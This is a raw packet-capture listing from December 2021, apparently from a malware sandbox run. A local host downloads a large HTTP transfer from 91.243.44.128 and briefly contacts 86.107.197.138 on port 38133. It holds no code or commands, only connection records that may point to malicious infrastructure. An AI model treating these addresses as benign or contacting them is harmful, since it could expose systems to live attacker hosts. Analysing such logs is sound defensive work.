Dec 28, 2021 05:19:34.528449059 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528454065 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.528487921 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528526068 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528564930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528573036 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.528603077 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528614998 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.528642893 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528677940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.528734922 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.542789936 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.592259884 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592344046 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592406988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592478037 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592489958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.592541933 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592597008 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.592612982 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592679024 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.592705011 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592792988 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592885017 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592961073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.592961073 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593033075 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593033075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593100071 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593161106 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593230009 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593252897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593316078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593316078 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593379974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593440056 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593499899 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593506098 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593565941 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593568087 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593630075 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593693972 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593766928 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593769073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593832970 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593832970 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.593899965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.593964100 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594024897 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594027042 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594089031 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594090939 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594153881 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594273090 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594314098 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594341993 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594403028 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594404936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594468117 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594532013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594533920 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594630957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594640017 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:34.594710112 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594732046 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594801903 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594906092 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.594918013 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.594983101 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595053911 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595112085 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.595134020 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595189095 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.595196962 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595283031 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595360041 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595417976 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.595418930 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595474958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.595508099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595575094 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595645905 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595706940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595710993 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.595804930 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.595813036 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595882893 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.595942974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596012115 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.596076965 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596148968 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596153975 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.596210957 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596285105 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596349955 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.596409082 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596518040 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596580029 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.596585989 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596637964 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.596677065 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596740007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596823931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.596900940 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.596967936 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597027063 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597043037 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597120047 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597181082 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597239971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597250938 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597301960 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597315073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597378016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597440004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597493887 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597503901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597556114 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597568989 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597640038 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597709894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597770929 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597804070 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597861052 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.597896099 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.597985029 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598089933 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598155975 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.598180056 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598241091 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.598263979 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598346949 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598408937 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598479033 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.598490000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598560095 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.598586082 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598690987 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598779917 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598820925 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598851919 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.598861933 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598876953 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.598902941 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598942041 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598979950 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.598995924 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599019051 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599024057 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599057913 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599097967 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599106073 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599122047 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599138975 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599176884 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599215984 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599231958 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599256992 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599275112 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599294901 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599333048 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599370956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599385977 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599411964 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599416971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599452019 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599492073 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599529982 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599540949 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599570990 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599591970 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599610090 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599649906 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599689007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.599699974 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.599740982 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.600270987 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.628019094 CET	38133	49835	86.107.197.138	192.168.2.3
Dec 28, 2021 05:19:34.628273010 CET	49835	38133	192.168.2.3	86.107.197.138
Dec 28, 2021 05:19:34.663348913 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663408995 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663444042 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663450956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663490057 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663495064 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663499117 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663533926 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663549900 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663574934 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663583994 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663615942 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663630962 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663655996 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663671017 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663697004 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663713932 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663738966 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663748980 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663781881 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663790941 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663824081 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663839102 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663862944 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663877964 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663904905 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663913012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663944960 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663954020 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.663983107 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.663996935 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664022923 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664031982 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664062977 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664073944 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664107084 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664123058 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664150000 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664161921 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664190054 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664205074 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664232016 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664241076 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664272070 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664285898 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664313078 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664325953 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664352894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664362907 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664392948 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664411068 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664434910 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664444923 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664475918 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664513111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664515972 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664539099 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664552927 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664568901 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664593935 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664630890 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664645910 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664670944 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664686918 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664725065 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664731979 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664762974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664779902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664804935 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664839983 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664871931 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664876938 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.664947987 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.664988995 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665004969 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665030956 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665045023 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665069103 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665077925 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665110111 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665118933 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665148973 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665163994 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665188074 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665198088 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665227890 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665237904 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665267944 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665276051 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665307999 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665316105 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665349007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665365934 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665388107 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665405035 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665427923 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665441036 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665467978 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665482044 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665508032 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665513992 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665546894 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665555000 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665587902 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665594101 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665627003 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665638924 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665669918 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665673971 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665708065 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665724993 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665750980 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665755987 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665791035 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665802002 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665828943 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665838003 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665868998 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665875912 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665909052 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665915012 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665947914 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.665981054 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.665997028 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666007042 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666034937 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666045904 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666075945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666091919 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666117907 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666132927 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666157007 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666167021 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666197062 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666208029 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666235924 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666255951 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666275978 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666291952 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666317940 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666337013 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666354895 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666368961 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666394949 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666409969 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666435003 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666451931 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666474104 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666491985 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666515112 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666524887 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666553974 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666570902 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666594028 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666611910 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666634083 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666651964 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666672945 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666690111 CET	49834	80	192.168.2.3	91.243.44.128
Dec 28, 2021 05:19:34.666712046 CET	80	49834	91.243.44.128	192.168.2.3
Dec 28, 2021 05:19:34.666753054 CET	80	49834	91.243.44.128	192.168.2.3
